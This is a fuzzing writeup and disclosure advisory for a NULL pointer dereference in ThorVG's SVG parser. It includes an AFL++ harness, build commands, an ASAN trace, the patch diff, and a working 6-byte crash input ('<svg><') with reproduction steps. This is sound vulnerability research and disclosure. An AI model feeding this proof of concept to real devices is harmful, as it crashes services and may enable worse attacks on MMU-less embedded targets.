
ThorVG NULL pointer dereference via malformed SVG — AFL++ fuzzing writeup
Severity: CVSS 4.3 (Medium) — CWE-476
Advisory: GHSA-f863-8ghq-7h64
Fixed: ThorVG v1.0.5
Status: Patched / Disclosed
ThorVG's SVG parser dereferences a pointer that is never initialized when it encounters a
truncated child element tag inside a root <svg> node. The bug is reachable through the
normal rendering path (tvg::Picture::load → parse → render) and can be triggered with
a 6-byte input.
The worst-case impact on standard Linux is a process crash (DoS) — mmap_min_addr prevents
mapping the NULL page, so the fault is not directly exploitable for code execution in that
environment. On MMU-less targets where ThorVG is also used (Tizen, LVGL-based firmware) the
exploitability picture is different and warrants a closer look.
ThorVG is a cross-platform vector graphics engine written in C++17. It is the default SVG/Lottie renderer in Samsung Tizen OS, is bundled in LVGL (widely used in embedded/IoT UI), and is distributed as a standalone library on multiple platforms.
The library processes untrusted SVG/JSON input and is often exposed in contexts without privilege separation. Parser code in graphics libraries has historically been a reliable source of memory safety bugs — ThorVG is actively developed and at the time of this research had no recorded fuzzing coverage in public bug trackers.
The harness wraps ThorVG's in-memory load API so AFL++ can drive the parser directly without disk I/O.
// fuzz_thorvg.cpp
#include <cstdint>
#include <cstring>
#include <thorvg.h>
extern "C" int LLVMFuzzerTestOneInput(const uint8_t *data, size_t size) {
if (size == 0) return 0;
tvg::Initializer::init(tvg::CanvasEngine::Sw, 0);
auto canvas = tvg::SwCanvas::gen();
uint32_t buf[64 * 64] = {};
canvas->target(buf, 64, 64, 64, tvg::SwCanvas::ARGB8888);
auto picture = tvg::Picture::gen();
// Load SVG from raw bytes; mimeType hint "svg" triggers the SVG parser path
if (picture->load(reinterpret_cast<const char*>(data), size, "svg", false)
== tvg::Result::Success) {
canvas->push(tvg::cast(picture));
canvas->draw();
canvas->sync();
}
tvg::Initializer::term(tvg::CanvasEngine::Sw);
return 0;
}
Build with ASAN + coverage instrumentation:
clang++ -std=c++17 -fsanitize=address,undefined -fprofile-instr-generate \
-fcoverage-mapping -O1 -g \
fuzz_thorvg.cpp -o fuzz_thorvg \
$(pkg-config --cflags --libs thorvg)
Starting from scratch with random bytes performs poorly on format-sensitive parsers. I seeded the corpus with a set of structurally valid minimal SVG files covering:
<svg xmlns="..."/>)<rect>, <circle>, <path>)<g> group<use> xlink referenceStructure-aware seeds cut the time to first interesting paths from hours to under 20 minutes in my environment.
AFL_AUTORESUME=1 afl-fuzz \
-i corpus/ \
-o findings/ \
-x svg.dict \
-m none \
-- ./fuzz_thorvg @@
-x svg.dict — AFL++ token dictionary with SVG keywords to help mutate toward valid tag names.
-m none — ASAN shadow memory requires disabling AFL++'s memory limit.
AFL++ produced a crash after approximately 3 hours of single-core fuzzing. The initial crashing input was ~180 bytes. The ASAN output:
==pid==ERROR: AddressSanitizer: SEGV on unknown address 0x000000000000 (pc 0x... ...)
SEGV on address NULL
#0 in tvg::SvgParser::_parseStyle(...)
#1 in tvg::SvgParser::_createElement(...)
#2 in tvg::SvgParser::parse(...)
#3 in tvg::SvgLoader::read()
...
The fault is a read through an uninitialized (NULL) SvgNode* pointer inside _parseStyle.
The pointer is expected to be set by _createElement when it processes a child element,
but a truncated tag name causes the element to be skipped without the pointer being assigned,
and _parseStyle proceeds to dereference it regardless.
Minimized with afl-tmin, then manual pruning:
afl-tmin -i findings/crashes/id:000000 -o min -- ./fuzz_thorvg @@
After afl-tmin the input was 14 bytes. Manual inspection of the parse path showed only the
first 6 bytes were consumed before the fault:
<svg><
<svg> opens the root node. < starts a child element tag. The parser reads the tag name,
gets an empty string (the input ends immediately after <), skips element creation, and
falls through into _parseStyle with the node pointer still NULL.
Confirm the 6-byte trigger reproduces:
printf '<svg><' | ./fuzz_thorvg /dev/stdin
# or
echo -n '<svg><' > poc.svg && ./fuzz_thorvg poc.svg
src/loaders/svg/tvgSvgParser.cpp
Simplified pseudocode of the vulnerable flow:
// _createElement returns nullptr when tag name is empty
SvgNode* node = _createElement(tagName); // tagName == "" → returns nullptr
// No NULL check before passing into style parser
_parseStyle(node, attributes); // ← dereferences node->style at offset 0x18
The fix in v1.0.5 adds an early return in the element dispatch loop when _createElement
returns nullptr, before any attribute/style processing is attempted.
/proc/sys/vm/mmap_min_addr is typically set to 65536 on modern distros.
The NULL page is not mapped, so the CPU raises a SIGSEGV that the kernel converts to
a signal to the process — result is a crash (DoS). No controlled write, no PC
control, not directly exploitable for code execution.
ThorVG is a first-class citizen in Tizen (Samsung IoT/wearable OS) and is integrated into LVGL, which runs on microcontrollers and systems without an MMU.
On MMU-less systems there is no memory protection and mmap_min_addr does not apply.
If the NULL page is mapped (which is common in bare-metal embedded environments), a NULL
pointer dereference can potentially point into attacker-controlled memory. Whether this
is reachable in a real attack depends on the attack surface — ThorVG on a Tizen device
may parse SVG from untrusted network sources or user-supplied content.
This context is what justifies responsible disclosure even for a CVSS Medium finding.
The patch adds a NULL guard in the SVG element dispatch loop:
// before (vulnerable)
SvgNode* node = _createElement(tag);
_parseStyle(node, attrs); // unconditional
// after (v1.0.5)
SvgNode* node = _createElement(tag);
if (!node) continue; // skip if element was not created
_parseStyle(node, attrs);
Full diff: ThorVG v1.0.5 release
# build from source with ASAN
git clone https://github.com/thorvg/thorvg && cd thorvg
git checkout <vulnerable-tag-before-v1.0.5>
meson setup build -Db_sanitize=address && ninja -C build
# compile harness against the built library
clang++ -std=c++17 -fsanitize=address -O1 -g \
fuzz_thorvg.cpp -o fuzz_thorvg \
-Ibuild/src/include -Lbuild/src -lthorvg
# trigger
printf '<svg><' | ./fuzz_thorvg /dev/stdin
Expected output: ASAN report with SEGV on unknown address 0x000000000000 in
tvg::SvgParser::_parseStyle.
Found by yeahhbean (이예빈) via AFL++ coverage-guided fuzzing with structure-aware SVG seed corpus.
| Date | Event |
|---|
| 2026-xx-xx | Crash discovered via AFL++ |
| 2026-xx-xx | Root cause confirmed under ASAN; 6-byte POC produced |
| 2026-xx-xx | Private report sent to ThorVG maintainer (hermet) via GitHub Security Advisory |
| 2026-xx-xx | Maintainer acknowledged and opened private fork |
| 2026-xx-xx | Patch merged into v1.0.5 |
| 2026-xx-xx | GHSA-f863-8ghq-7h64 published; CVE-2026-45729 assigned |